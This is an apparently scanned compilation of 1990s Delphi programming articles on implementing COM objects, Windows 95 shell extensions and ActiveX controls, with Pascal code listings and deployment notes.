Satellite objects The ISatelliteUnknown object type descends directly from the supplied IUnknown type and necessarily overrides the abstract methods corresponding to the three IUnknown functions. ISatelliteUnknown has a single protected data field called FContainer, of type IContainerUnknown (defined below), which is initialized in its Create constructor. The implementations for the three IUnknown functions simply return the result of calling the corresponding method in the container object. Depending on which interface it has requested, the calling program may gain access to the QueryInterface, AddRef, and Release functions directly through the container object or through any of its satellite objects. If you've read much OLE literature, you'll realize that the names used in Figure 1 for the parameters to QueryInterface in the DelphCOM unit shown here are nonstandard. Usually the parameter representing the ID of the desired interface is named riid, and the parameter representing the returned object is called ppv. Since the names of the parameters have no significance outside of the object, I have replaced the cryptic standard names with the more intelligible WantIID and ReturnedObject.
Container objects The IContainerUnknown object type is another direct descendant of IUnknown. It maintains its own reference count as a protected data field named FRefCount; the AddRef function increments FRefCount and the Release function decrements it. Both AddRef and Release return the new reference count; in addition, if the count has reached 0, the Release function frees the object.
1379
The DelphCOM unit also defines a global reference count for the entire DLL that contains descendants of the generic COM objects. The constructor and destructor of the container object increment and decrement, respectively, the global reference count. Every DLL that contains COM objects is required to supply two specific functions, DLLCanUnloadNow and DLLGetClassObject. DLLCanUnloadNow, implemented in the DelphCOM unit, returns False unless the global DLL reference count is 0. DLLGetClassObject will be specific to each DLL that relies on DelphCOM and can't be written until the COM objects (descendants of ISatelliteUnknown and IContainerUnknown) have been defined. The IContainerUnknown object responds to a QueryInterface request for the IUnknown interface by returning a pointer to itself. If any other interface is requested, it returns the error code E_NOINTERFACE. In a descendant of IContainerUnknown, the QueryInterface function will first call this inherited function. If the inherited method returns E_NOINTERFACE, the descendant will check the requested interface ID against the additional interfaces it supports, and return the satellite object that matches the request.
The Class Factory COM objects can be created on command from the system or a program. The actual creation is handled by a COM object type called a class factory, another direct descendant of IUnknown. The IMyClassFactory object in the DelphCOM unit implements AddRef and Release, just as the IContainerUnknown object did. It responds to QueryInterface requests for IUnknown or IClassFactory by returning a pointer to itself. Besides those three functions, the IClassFactory interface adds two new ones, CreateInstance and LockServer. Since LockServer is not generally required, IMyClassFactory returns the special value E_NOTIMPL, indicating the function is not implemented. The most essential function of a class factory, the one that makes it a factory, is CreateInstance. The calling program uses CreateInstance to produce an instance of the desired object. The DelphCOM unit, however, doesn't contain any "finished" objects; it holds only the generic satellite and container objects. When we define a COM object descendant of IContainerUnknown, we also need to define an IMyClassFactory descendant whose CreateInstance function returns an instance of that COM object. With the introduction of IMyClassFactory, the set of generic COM objects for Delphi is complete. The system of container and satellite objects can be used in any object-oriented language, and, in fact, COM objects designed under MFC use a similar system. Part 2 of this article will move from theory to practice. It will extend the generic objects defined in Part 1 to create examples of five Windows 95 shell extension types: a context-menu handler, a property-sheet handler, a right-drag handler, an icon handler, and a copy-hook handler. Once you use and understand the examples, you'll be completely prepared to build your own practical extensions to the Windows 95 shell. Neil J. Rubenking is the contributing technical editor ofPC Magazine.
GUIDs, CLSIDs, and IIDs Creating and managing COM objects relies heavily on Globally Unique Identifiers, or GUIDs (pronounced "GOO-ids"). A GUID is a 128-bit number generated by the Windows API function CoCreateGUID. GUIDs should be globally unique: CoCreateGUID should never return the same GUID twice. As OLE maven Kraig Brockschmidt (of Microsoft's OLE design team) puts it, the likelihood of two calls to CoCreateGUID returning the same value is "about the same as two random atoms in the universe colliding to form a small California avocado mated to a New York City sewer rat." Every interface needs an Interface ID (IID), which is a GUID. Delphi's OLE2.PAS file defines dozens of IIDs. The example code for this article refers to IID_IUnknown and IID_IClassFactory; the Delphi-supplied OLE2.PAS file contains dozens more IIDs. In addition, every object class registered with the system needs a Class ID (CLSID). If you've 1380
ever looked at the Registry key HKEY_CLASSES_ROOT\CLSID with RegEdit, you've seen dozens or even hundreds of these unintelligible strings of numbers. These are the class IDs of all the COM objects registered on your system. No question about it; to do COM programming you'll have to work with existing GUIDs as well as create new GUIDs specific to your program. Free utilities, such as UUIDGEN.EXE, will generate GUIDs for you, but you'll then be faced with the tedious task of rewriting them in the correct form for a Delphi constant. Instead of UUIDGEN.EXE, use the text-mode "console" program available from PC Magazine Online. You can either load it into the Delphi IDE and compile it, or you can compile it with the command line Delphi compiler by entering DCC32 GUIDS.DPR. Run the resulting program, and you'll get a brand-new, never-before-seen GUID, expressed first as a string and then as a Delphi typed constant. When you start a new project, mentally count up the number of distinct GUIDs you'll need, add a few for good luck, then pass that number to GUIDS.EXE, redirecting the output of GUIDS.EXE to a file. The resulting file will contain as many GUIDs as you requested, and, normally, they will form a continuous block of numbers. Having all the GUIDs used by your project differ in just one digit makes them easier to recognize as related. Now you can cut GUIDs from this text file and paste them into your project as needed. FIGURE 1: These generic COM interface objects aid in creating Delphi-based COM objects that support multiple interfaces. unit DelphCom; // "generic" objects for creating COM objects in Delphi. // ISatelliteUnknown is an interface object that's meant // to be contained by IContainerUnknown. Each actual COM // object that needs to support more than one interface // will descend from IContainerUnknown, and will implement // QueryInterface. interface USES Windows, Ole2, Classes, SysUtils, ShellApi, ShlObj; VAR DllRefCount : Integer; type IContainerUnknown = class; ISatelliteUnknown = class(IUnknown) // Meant to be contained by an IContainerUnknown // Reflects the three IUnknown functions to its // container. protected fContainer : IContainerUnknown; public constructor Create(vContainer: IContainerUnknown); function QueryInterface(const WantIID: TIID; var ReturnedObject): HResult; override; function AddRef: Longint; override; function Release: Longint; override; end; IContainerUnknown = class(IUnknown) protected FRefCount : Integer; public Constructor Create; destructor Destroy; override; {IUnknown functions} function QueryInterface(const WantIID: TIID; var ReturnedObject): HResult; override; function AddRef: LongInt; override; function Release: LongInt; override; end; IMyClassFactory = Class(IClassFactory) private FRefCount : Integer; public constructor Create;
1381
destructor Destroy; override; function QueryInterface(const WantIID: TIID; var ReturnedObject): HResult; override; function AddRef: LongInt; override; function Release: LongInt; override; // descendant MUST implement CreateInstance function LockServer(fLock: BOOL): HResult; override; end; function DLLCanUnloadNow : HResult; StdCall; Export; implementation (****** ISatelliteUnknown ******) constructor ISatelliteUnknown.Create(vContainer: IContainerUnknown); begin fContainer := vContainer; end; function ISatelliteUnknown.QueryInterface(const WantIID: TIID; var ReturnedObject): HResult; begin Result := fContainer.QueryInterface(WantIid, ReturnedObject); end; function ISatelliteUnknown.AddRef: LongInt; begin Result := fContainer.AddRef; end; function ISatelliteUnknown.Release: LongInt; begin Result := fContainer.Release; end; (****** IContainerUnknown ******) constructor IContainerUnknown.Create; begin Inherited Create; FRefCount := 0; Inc(DllRefCount); end; destructor IContainerUnknown.Destroy; begin Dec(DllRefCount); Inherited Destroy; end; function IContainerUnknown.QueryInterface(const WantIID: TIID; var ReturnedObject): HResult; VAR P : IUnknown; begin IF IsEqualIID(WantIID, IID_IUnknown) THEN P := Self ELSE P := nil; Pointer(ReturnedObject) := P; IF P = NIL THEN Result := E_NOINTERFACE ELSE begin P.AddRef; Result := S_OK; end; end; function IContainerUnknown.AddRef: LongInt; begin Inc(FRefCount); Result := FRefCount; end; function IContainerUnknown.Release: LongInt; begin Dec(FRefCount); Result := FRefCount; IF FRefCount = 0 THEN Free; end;
1382
(****** IMyClassFactory ******) constructor IMyClassFactory.Create; begin Inherited Create; Inc(DllRefCount); FRefCount := 0; end; destructor IMyClassFactory.Destroy; begin Dec(DllRefCount); Inherited Destroy; end; function IMyClassFactory.QueryInterface(const WantIID: TIID; var ReturnedObject): HResult; begin IF IsEqualIID(WantIid, IID_IUnknown) OR IsEqualIID(WantIid, IID_IClassFactory) THEN begin Pointer(ReturnedObject) := Self; AddRef; Result := S_OK; end ELSE begin Pointer(ReturnedObject) := NIL; Result := E_NOINTERFACE; end; end; function IMyClassFactory.AddRef: LongInt; begin Inc(FRefCount); Result := FRefCount; end; function IMyClassFactory.Release: LongInt; begin Dec(FRefCount); Result := FRefCount; IF FRefCount = 0 THEN Free; end; function IMyClassFactory.LockServer(fLock: Bool): HResult; begin Result := E_NOTIMPL; end; (****** exported function ******) function DLLCanUnloadNow: hResult; StdCall; Export; begin IF DllRefCount=0 THEN Result := S_OK ELSE Result := S_FALSE; end; initialization DllRefCount := 0; end. (continues)
COM Objects in Delphi, Part 2 Creating four Windows 95 shell-extension COM objects Neil J. Rubenking Creating COM objects in Delphi is quite different from creating COM objects in C++, although similarities do exist: COM objects support one or more COM interfaces, and a single COM interface can be represented by a Delphi object or a C++ object. When a 1383
COM object needs to support multiple interfaces, a C++ implementation uses multiple inheritance to derive an object that inherits from all of the necessary interfaces. Multiple inheritance is not a feature of Delphi, so the Delphi implementation needs to take a different approach. A Delphi-based, multi-interface COM object must be built from several separate objects. Each required COM interface is represented by a satellite object, descended from the Delphi-supplied IUnknown object type. The satellite object implements the IUnknown interface. The COM object as a whole is represented by a container object, also descended from IUnknown. The container object, which contains instances of the satellite objects as data fields, returns a pointer to the requested interface when its QueryInterface function is called. The first part of this article presented these concepts, along with their implementation, in the ISatelliteUnknown and IContainerUnknown objects. Now we'll use these objects to create shell-extension COM objects for Windows 95. We'll demonstrate the creation of four Windows 95 shell extensions in Delphi: a contextmenu handler, a property-sheet handler, a drag-and-drop handler, and an icon handler. The example shell extensions act on an imaginary file type, DelShellFile, associated with the extension .DEL. A DelShellFile's single line of text represents a whole number; in a real program this would be replaced by some more complex attribute of the file. The four shell extensions will interact with this "magic number." You'll also find a copy-hook-handler shell extension in the source code for this article. But because its implementation didn't require use of the container/satellite system, that extension won't be discussed in the article itself. All code mentioned in this article is available for download from PC Magazine Online. (See the sidebar "Getting the Files" in the Utilities column for details.)
Preparing Helper Interfaces Figure 1 represents the hierarchy of supporting objects that we'll create. The solid lines define a standard object hierarchy, with the Delphi-defined IUnknown object at the top. Beneath each object's name is a list of the interfaces it supports, omitting the ubiquitous IUnknown interface. The dotted lines represent the container/satellite relationship on which this entire system is based. The context menu, property sheet, and drag-and-drop-handler shell extensions rely on the IShellExtInit interface for initialization. The icon handler relies on the IPersistFile interface for the same purpose. Figure 2 shows the declarations for satellite objects that implement these two helper interfaces and for container objects that are pre-initialized to handle these satellite objects. type IMyShellExtInit = class(ISatelliteUnknown) public function Initialize(pidlFolder:PItemIDList; lpdobj: IDataObject; hKeyProgID:HKEY):HResult; virtual; stdcall; end; IMyPersistFile = class(ISatelliteUnknown) public function GetClassID(var classID: TCLSID): HResult; virtual; stdcall; function IsDirty: HResult; virtual; stdcall; function Load(pszFileName: POleStr; dwMode: Longint): HResult; virtual; stdcall; function Save(pszFileName: POleStr; fRemember: BOOL): HResult; virtual; stdcall; function SaveCompleted(pszFileName: POleStr): HResult; virtual; stdcall; function GetCurFile(var pszFileName: POleStr): HResult; virtual; stdcall; end; ISEIContainer = class(IContainerUnknown) protected FShellExtInit : IMyShellExtInit; // Satellite interface
1384
public FNumFiles : Integer; FInitFiles : TStringList; FIDPath : String; Constructor Create; destructor Destroy; override; function QueryInterface(const WantIID: TIID; var ReturnedObject): HResult; override; end; IPFContainer = class(IContainerUnknown) protected FPersistFile : IMyPersistFile; // Satellite interface public FPFFilename : String; Constructor Create; destructor Destroy; override; function QueryInterface(const WantIID: TIID; var ReturnedObject): HResult; override; end;
The IMyShellExtInit object adds the method Initialize, which implements the IShellExtInit interface's Initialize function. It inherits ISatelliteUnknown's handling of the QueryInterface, AddRef, and Release methods. Thus IMyShellExtInit's virtual method table matches perfectly with the set of functions that defines an IShellExtInit interface. The Initialize method extracts a list of files from data supplied by the calling program and stores it in a data field of its container object, which must be of the type ISEIContainer. ISEIContainer inherits the AddRef and Release methods of IContainerUnknown. In its implementation of QueryInterface, ISEIContainer first calls the QueryInterface method inherited from IContainerUnknown. If that method doesn't return S_OK, the overriding QueryInterface method checks to see if IShellExtInit is being requested; if so, QueryInterface passes back a pointer to its protected data field FShellExtInit, which is an object of type IMyShellExtInit. ISEIContainer also defines data fields to hold a list of files, the number of files, and a path. Its Create constructor initializes the file list and FShellExtInit objects, and its Destroy destructor frees the memory used by those two objects. The IMyPersistFile object looks a lot more complicated than IMyShellExtInit, but five of the six methods that implement functions of the IPersistFile interface simply return the result code E_FAIL. IMyPersistFile's Load method receives a filename in Unicode form; it converts this filename to an ANSI string and stores it in a data field of its container object, which must be of type IPFContainer. Like ISEIContainer, IPFContainer overrides QueryInterface. If the inherited QueryInterface method fails, it checks to see if IPersistFile is being requested. If so, it passes back a pointer, of type IMyPersistFile, to its protected data field FPersistFile. The container object's constructor and destructor methods create and destroy the FPersistFile object as well. Now we're ready to build the shell extensions themselves.
The Context-Menu Handler When you right-click on a file in Windows 95 Explorer, the system checks to see whether a context-menu handler is defined for that file's type. If one is, the system creates an instance of the context-menu handler COM object and passes a list of selected files to the Initialize function of the object's IShellExtInit interface. Then it calls the QueryContextMenu function of the IContextMenu interface. The function uses standard Windows API functions such as InsertMenu to insert menu items or separators; the function's return value is the number of items added, not including separators. The IContextMenu interface's InvokeCommand function is called when the user selects one of the added menu items, and the GetCommandString function is called to supply an explanation of the menu item in Explorer's status bar.
1385
The Delphi objects used to define and initialize a context-menu handler are IMyContextMenu, IDSContextMenu, and ICMClassFactory. IMyContextMenu is an ISatelliteUnknown descendant that implements the three IContextMenu functions. IDSContextMenu is a descendant of ISEIContainer, so it already supports IShellExtInit. IDSContextMenu adds a protected data field, FContextMenu, of type IMyContextMenu. As before, IDSContextMenu's constructor and destructor create and destroy the satellite object, and its QueryInterface method passes back a pointer to the FContextMenu object when IContextMenu is requested. This unit also defines ICMClassFactory, a descendant of IMyClassFactory that specifically returns an instance of IDSContextMenu. The CreateInstance method creates and returns the requested instance, but only if the interface being requested is one that IDSContextMenu supports. Each of the shell extensions will have a nearly identical IMyClassFactory descendant. The QueryContextMenu method checks whether or not multiple files are selected. For a single file, it adds a menu item titled Magic Number; for multiple files, it adds an item titled Average Magic Number. The InvokeCommand method displays the requested number in a simple message box after validating its arguments. And the GetCommandString method returns a single-word name for the menu item or a descriptive string, depending on which was requested.
The Drag-and-drop Handler A drag-and-drop handler is quite similar to a context-menu handler--in fact, it even supports the same IContextMenu interface. The drag-and-drop extension, however, is invoked when a file is dragged with the right mouse button onto a folder, and it is registered to the folder file type, not to the file type of the dragged file. The IMyDragDrop satellite object implements the methods QueryContextMenu, InvokeCommand, and GetCommandString. The QueryContextMenu method first flips through the list of files supplied by the system and checks whether the files are all of type DelShellFile. If they are, the method adds a menu item named Count Files, along with a separator, and returns 1; if not, it does nothing and returns 0. When the menu item is chosen, the InvokeCommand method counts the files in the dropped-on folder and adds the number of files to the magic number of each selected DelShellFile. Because a DelShellFile's icon depends on its magic number, a call to the API function SHChangeNotify tells the system to redisplay each of the files. The IDSDragDrop container object is functionally identical to the IDSContextMenu object. It simply maintains a satellite object of type IMyDragDrop rather than IMyContextMenu.
The Property-Sheet Handler When the user selects Properties from the context menu for one or more selected files of the same file type, the system checks to see if a property-sheet handler is defined for that file type. If so, the system creates an instance of the shell extension and initializes it with a list of files via the IShellExtInit interface's Initialize function. The system also calls the AddPages function of the IShellPropSheetExt interface to allow the property-sheet handler to add one or more property pages. The other IShellPropSheetExt interface function, ReplacePages, is normally not implemented. Delphi programmers will suddenly find themselves in terra incognita when implementing AddPages. In order to create the property-sheet page, you must supply a dialog-box template resource and a dialog-box function. Only old-time Windows programmers will remember those hoary precursors to today's visual development style. You can use a resource-creation tool like Borland's Resource Workshop to create the dialog template, or create the resource script as text and compile it with the BRCC.EXE resource compiler that comes with Delphi. The resource script that defines the DelShellFile property sheet is included with the downloadable source code.
1386
This resource script defines two statics (labels), a list box, and a button. The constants IDC_Static, IDC_ListBox, and IDC_Button, used as control ID numbers, are defined in the shared include file, SHEET.INC. The AddPages method initializes various fields of a TPropSheetPage structure, including the dialog-box template, the dialog-box procedure, and the program-defined lParam. Here, lParam holds the list of files passed by the shell. The callback function serves to ensure that this list gets deallocated. A call to CreatePropertySheetPage creates a page based on the TPropSheetPage structure, and a call to the shell-supplied lpfnAddPage function adds the page to the Properties dialog. The dialog-box procedure handles two specific messages. On a WM_INITDIALOG message, it adds to the list box the list of files pointed to by the lParam field of the property sheet page, preceding each with its magic number. The procedure sets the static control to reflect the number of files selected. It then disposes of the file list, and sets the field that held the file list to 0. When the user clicks the Zero Out button, the dialog-box procedure receives a WM_COMMAND message with the low word of the wParam set to the button's ID. The dialog-box procedure steps through the list of files, sets each file's magic number to 0, and calls the SHChangeNotify API function to signal a need to redisplay the file's icon. Virtually every property-sheet dialog-box procedure will need to respond to WM_INITDIALOG in order to initialize its controls. If it does more than just display information, it will need to respond to WM_COMMAND messages from particular controls as well.
The Icon Handler In most cases, the Windows 95 shell gets the icon for a file by checking the DefaultIcon key below the Registry key for the file's type. But if DefaultIcon is set to %1, the shell will call the file's icon-handler shell extension instead. The system calls the Load function of the icon handler's IPersistFile interface, passing the name of the file. The icon handler can supply a file-specific icon through the IExtractIcon interface's GetIconLocation and Extract functions, either by giving the filename and index for an icon resource or by creating an icon on demand. The example IMyExtractIcon satellite object implements both possibilities. If the conditional compilation directive UseResource is defined, the GetIconLocation method copies the name of the DLL containing the IMyExtractIcon object into the szIconFile argument, then calculates the value of the piIndex argument from the file's magic number. The method sets the pwFlags argument to include GIL_PERINSTANCE, meaning each file may have a different icon, and GIL_DONTCACHE, meaning the system should not cache the icon. The Extract method is not used; it simply returns S_FALSE. When the UseResource conditional compilation directive is not defined, the IMyExtractIcon satellite object creates an icon for each file. The GetIconLocation method stores the file's magic number in the piIndex argument and uses the same flags, plus the GIL_NOTFILENAME flag. The shell calls the Extract method, which creates both a large and a small icon for the file. The height of the red bar within the icon's rectangle is determined by the file's magic number. The source code demonstrates on-the-fly icon creation, but since this is tangential to the article's topic, we won't discuss its details here.
Packaging the Product To put your shell extensions to work, you must compile them into a DLL that implements the standard functions DLLGetClassObject and DLLCanUnloadNow. The code that defines this DLL is included with the article's source code. DLLGetClassObject determines which object is being requested, creates a class factory to match, and returns the object created by the class factory. The code that defines this DLL is included with the article's source code, a simple console application that handles registering and unregistering all of the example shell extensions.
1387
Before building your own shell extensions based on the examples, be sure to generate new Globally Unique Identifiers (GUIDs) to replace all of the GUIDs in the code. You can do this with the GUIDS program presented in the previous installment of this column. Neil J. Rubenking is contributing technical editor ofPC Magazine.
COM Object Debugging Most modern development environments include an integrated debugging feature that lets you step through or trace code, set breakpoints, and watch variables. But when your code resides in a DLL rather than in an executable program, integrated debuggers can't help you. Even if you use a 32-bit standalone debugger, COM objects won't be easily accessible, because they operate in the memory context of the object or program that calls them. For example, if the COM objects in question are Windows 95 shell extensions, they run in Windows Explorer's memory space. In many cases, the questions you'd want a debugger to answer about your COM objects are quite simple: Was the DLL activated at all? Did the system try to create an instance of the COM object? Which interface was requested? Such questions can be handled by a simple message-logging technique in which the COM object broadcasts a status message that is received by a separate logging program. The unit DllDebug, available from PC Magazine Online, implements the broadcast side of this process. The unit's initialization section sets the WM_LOGGIT variable to the unique message identifier that's obtained by passing the string Debugging Status Message to the RegisterWindowMessage function. The first call to RegisterWindowMessage using a given string will return a unique message number; subsequent calls using the same string will return the same message number. Because 32-bit programs use separate memory contexts, the Loggit function can't simply pass a pointer to the status message string itself. The pointer would be invalid in the receiving program's memory context. Instead, the Loggit function adds the status message to the global atom table. It calls SendMessage, passing -1 as the window handle, WM_LOGGIT as the message number, and the atom as the wParam. SendMessage doesn't return until all top-level windows have had a chance to process the message. At that point, the atom can safely be deleted. The NameOfIID function, also included in the DLLDebug unit, will come in handy when composing status messages. As written, it reports the name of IIDs related to shell extensions, but you can add any system IID values that are relevant to your project. So, for example, within a QueryInterface method you might insert the line: Loggit(Format('QueryInterface: %s requested', [NameOfIID(WantIID)]));
Broadcasting the WM_LOGGIT message is half the job; now we need a program to receive and log the status message. The Logger program, also available online, demonstrates one way to handle that task. Since the value of the WM_LOGGIT message isn't known until run time, it's not possible to set up a standard message-handling method. Instead, the program overrides the form's DefaultHandler method. When a WM_LOGGIT message comes through, this method extracts the status message from the passed atom and adds it to a list box. Besides this core functionality, the program includes three buttons that allow you to insert a comment, clear the list box, and save the logged status messages to a file. Figure A shows the Logger program in action. In this dialog box, the QueryInterface methods of several Delphi-based COM objects have been "instrumented" with a line that logs the name of the requested interface. This list of requests occurred when Explorer initially extracted a particular file's icon, after which the user right-clicked the file and viewed its properties; everything worked correctly. If the logger shows unexpected results, you'll add more calls to the Loggit function around the problem area and try again until you've identified the source of the problem. 1388
FIGURE 1: This is the object hierarchy for the Delphi shell extension objects we'll create. Supported interfaces (other than IUnknown) are listed in italics beneath each object name, and dotted lines represent container/satellite relationships. FIGURE 2:Two satellite objects implement the helper interfaces required by context-menu, property-sheet, drag-and-drop, and icon-handler Windows 95 shell extensions. FIGURE A: This simple debug message logger adds received status messages to a list box.
1389
Attaining True One-Step ActiveX As you can see from the previous example, it is not always easy to convert your Delphi components into ActiveX controls. This is because we converted an existing Delphi component—in particular, a component that used some advanced features of the Visual Component Library. In this respect, the ActiveX Control Framework is not as flexible as the VCL. However, you must weigh this against the benefit of being able to use ActiveX controls in products other than Delphi and C++ Builder. If your goal is to create an ActiveX control, there are some guidelines that you should follow. First, make sure your component descends from TWinControl or one of its descendants. Graphic controls cannot be embedded within a TActiveXControl wrapper. If you need to provide custom painting in your component, descend from TCustomControl instead. Second, use only automation-compatible types for properties and method parameters. This will enable the ActiveX Control Wizard to convert your component’s properties, but it may also force you to redesign the interface to your components. Third, the Delphi component should be considered the source code for the ActiveX control. Therefore, it is better to modify the Delphi component and reconvert it into an ActiveX control rather than modifying the ActiveX control’s implementation unit. Of course, this is unavoidable if you don’t have the source for the Delphi component. In summary, one-step ActiveX is indeed attainable if you follow these guidelines.
On the Drawing Board Next time, we will continue discussing the process of converting Delphi components into ActiveX controls. In particular, we will cover advanced features such as per-property browsing, property pages, streaming, and deployment. v Copyright © 1998 The Coriolis Group, Inc. All rights reserved.
Listing 1 - ListBoxImpl.src unit ListBoxImpl; interface uses Windows, ActiveX, Classes, Controls, Graphics, Menus, Forms, StdCtrls, ComServ, StdVCL, AXCtrls, DelphiByDesignXLib_TLB; type TListBoxX = class(TActiveXControl, IListBoxX) private { Private declarations } FDelphiControl: TListBox; FEvents: IListBoxXEvents; procedure ClickEvent(Sender: TObject); procedure DblClickEvent(Sender: TObject); procedure KeyPressEvent(Sender: TObject; var Key: Char); // Add a custom event handler for the OnDrawItem event procedure DrawItemEvent( Control: TWinControl; Index: Integer; Rect: TRect; State: TOwnerDrawState ); protected { Protected declarations } procedure InitializeControl; override; procedure EventSinkChanged(const EventSink: IUnknown); override; procedure DefinePropertyPages( DefinePropertyPage: TDefinePropertyPage); override; function Get_BorderStyle: TxBorderStyle; safecall; function Get_Color: TColor; safecall; function Get_Columns: Integer; safecall;
1390
function Get_Ctl3D: WordBool; safecall; function Get_Cursor: Smallint; safecall; function Get_DragCursor: Smallint; safecall; function Get_DragMode: TxDragMode; safecall; function Get_Enabled: WordBool; safecall; function Get_ExtendedSelect: WordBool; safecall; function Get_Font: Font; safecall; function Get_ImeMode: TxImeMode; safecall; function Get_ImeName: WideString; safecall; function Get_IntegralHeight: WordBool; safecall; function Get_ItemHeight: Integer; safecall; function Get_ItemIndex: Integer; safecall; function Get_Items: IStrings; safecall; function Get_MultiSelect: WordBool; safecall; function Get_ParentColor: WordBool; safecall; function Get_ParentCtl3D: WordBool; safecall; function Get_SelCount: Integer; safecall; function Get_Sorted: WordBool; safecall; function Get_Style: TxListBoxStyle; safecall; function Get_TabWidth: Integer; safecall; function Get_TopIndex: Integer; safecall; function Get_Visible: WordBool; safecall; procedure AboutBox; safecall; procedure Clear; safecall; procedure Set_BorderStyle(Value: TxBorderStyle); safecall; procedure Set_Color(Value: TColor); safecall; procedure Set_Columns(Value: Integer); safecall; procedure Set_Ctl3D(Value: WordBool); safecall; procedure Set_Cursor(Value: Smallint); safecall; procedure Set_DragCursor(Value: Smallint); safecall; procedure Set_DragMode(Value: TxDragMode); safecall; procedure Set_Enabled(Value: WordBool); safecall; procedure Set_ExtendedSelect(Value: WordBool); safecall; procedure Set_Font(const Value: Font); safecall; procedure Set_ImeMode(Value: TxImeMode); safecall; procedure Set_ImeName(const Value: WideString); safecall; procedure Set_IntegralHeight(Value: WordBool); safecall; procedure Set_ItemHeight(Value: Integer); safecall; procedure Set_ItemIndex(Value: Integer); safecall; procedure Set_Items(const Value: IStrings); safecall; procedure Set_MultiSelect(Value: WordBool); safecall; procedure Set_ParentColor(Value: WordBool); safecall; procedure Set_ParentCtl3D(Value: WordBool); safecall; procedure Set_Sorted(Value: WordBool); safecall; procedure Set_Style(Value: TxListBoxStyle); safecall; procedure Set_TabWidth(Value: Integer); safecall; procedure Set_TopIndex(Value: Integer); safecall; procedure Set_Visible(Value: WordBool); safecall; end; implementation uses AboutListBox; { TListBoxX } procedure TListBoxX.InitializeControl; begin FDelphiControl := Control as TListBox; FDelphiControl.OnClick := ClickEvent; FDelphiControl.OnDblClick := DblClickEvent; FDelphiControl.OnKeyPress := KeyPressEvent; // Add a custom event handler for the OnDrawItem event FDelphiControl.OnDrawItem := DrawItemEvent; end;
1391
procedure TListBoxX.EventSinkChanged(const EventSink: IUnknown); begin FEvents := EventSink as IListBoxXEvents; end; function TListBoxX.Get_Enabled: WordBool; begin Result := FDelphiControl.Enabled; end; // Other Get_ Methods procedure TListBoxX.Set_Enabled(Value: WordBool); begin FDelphiControl.Enabled := Value; end; // Other Set_ Methods procedure TListBoxX.DrawItemEvent( Control: TWinControl; Index: Integer; Rect: TRect; State: TOwnerDrawState ); var ItemColor: TColor; begin ItemColor := FDelphiControl.Font.Color; // Generate the OnColorItem ActiveX event if FEvents <> nil then FEvents.OnColorItem( Index, ItemColor ); // Draw the item using the ItemColor with FDelphiControl do begin if not ( odSelected in State ) then Canvas.Font.Color := ItemColor; Canvas.TextRect(Rect, Rect.Left + 2, Rect.Top, Items[Index]); Canvas.Font.Color := FDelphiControl.Font.Color; end; end; initialization TActiveXControlFactory.Create( ComServer, TListBoxX, TListBox, Class_ListBoxX, 1, '{B19A64E4-644D-11D1-AE4B-444553540000}', 0); end.
Distributing ActiveX Controls There are a couple of issues involved in distributing ActiveX controls. First and foremost, you must distribute the *.ocx file that contains your ActiveX controls. If you choose to build your ActiveX library project using runtime packages, you will also need to distribute all of the runtime packages required by your component. 1392
If you instruct the ActiveX control wizard to generate a design-time license for your ActiveX control, you will also need to distribute the corresponding *.lic file. If you deploy an ActiveX control library that uses the IStrings interface or the predefined font, color, strings, or picture property pages, then you must also deploy the standard VCL type library, which comes in two forms: the StdVcl32.dll library, and a standalone type library called StdVcl32.tlb. Both files are located in the Windows System directory (for example, C:\WinNT\System32) after Delphi 3 is installed. Control libraries that use the predefined property pages must deploy StdVcl32.dll. However, if the ActiveX controls only use the IStrings interface, the StdVcl32.tlb type library may be deployed instead. Regardless of which file is deployed, the file must be registered in the system registry, just like the ActiveX control library.
The Turbo Register Server Utility The system registry can be updated with the information needed to support your ActiveX control by using the Turbo Register Server (TRegSvr) utility provided as a demo application in Delphi. The project is located in the Demos\ActiveX\TRegSvr directory beneath the main Delphi 3 installation directory. Of course, before you’ll be able to use the program, you’ll need to compile it. TRegSvr has a simple command-line interface. After the program name, you specify a set of options followed by the file to register. The file can be an ActiveX server DLL or a type library. The default action is to register the specified file. The -u option is used to unregister the specified file. The -t option is used to indicate that the type library contained in the specified file should be registered. This option is not needed if the specified file ends in “.tlb”. The -q option instructs the TRegSvr program to operate in Quiet Mode by not displaying any output. This option makes TRegSvr ideal to execute during installation programs. For the examples presented earlier, the following calls to TRegSvr handle registering the TListBoxX ActiveX control with the system: TRegSvr -q DelphiByDesignXLib.ocx TRegSvr -q StdVcl32.dll
On the Drawing Board Next time, Visual Developer Magazine celebrates its 50th issue. Ever since my “Blazing Pascal” column (the precursor to “Delphi by Design”) first appeared in PC Techniques years ago, I have received quite a bit of feedback. Some of the messages were simply comments. Others asked where the source code from the column could be found. But by far the most common questions asked were about Delphi programming techniques. That is, “how to” questions. For example, the following is a typical message: “Hi, Ray. I read your column every issue. Your article on
Listing 1 - ListBoxImpl.src unit ListBoxImpl; interface
1393
uses Windows, ActiveX, Classes, Controls, Graphics, Menus, Forms, StdCtrls, ComServ, StdVCL, AXCtrls, DelphiByDesignXLib_TLB; type TListBoxX = class( TActiveXControl, IListBoxX ) private { Private declarations } FDelphiControl: TListBox; . . . protected { Protected declarations } procedure InitializeControl; override; procedure EventSinkChanged(const EventSink: IUnknown); override; procedure DefinePropertyPages( DefinePropertyPage: TDefinePropertyPage); override; function GetPropertyString( DispID: Integer; var S: string ): Boolean; override; function GetPropertyStrings( DispID: Integer; Strings: TStrings ): Boolean; override; procedure GetPropertyValue( DispID, Cookie: Integer; var Value: OleVariant ); override; { Methods that support properties } . . . end; implementation uses TabWidthPpg, AboutListBox, SysUtils; { TListBoxX } procedure TListBoxX.DefinePropertyPages( DefinePropertyPage: TDefinePropertyPage ); begin { Associate Predefined Property Pages with this control } DefinePropertyPage( Class_DStringPropPage ); DefinePropertyPage( Class_DFontPropPage ); { Associate a Custom Property Page with this control } DefinePropertyPage( Class_PpgTabWidth ); end; function TListBoxX.GetPropertyString( DispID: Integer; var S: string ): Boolean; begin case DispID of 5: // 5 = DispID for DragCursor property in IListBoxXDisp begin S := CursorToString( Get_DragCursor ); Result := True; end; 26: // 26 = DispID for Cursor property in IListBoxXDisp begin S := CursorToString( Get_Cursor ); Result := True; end;
1394
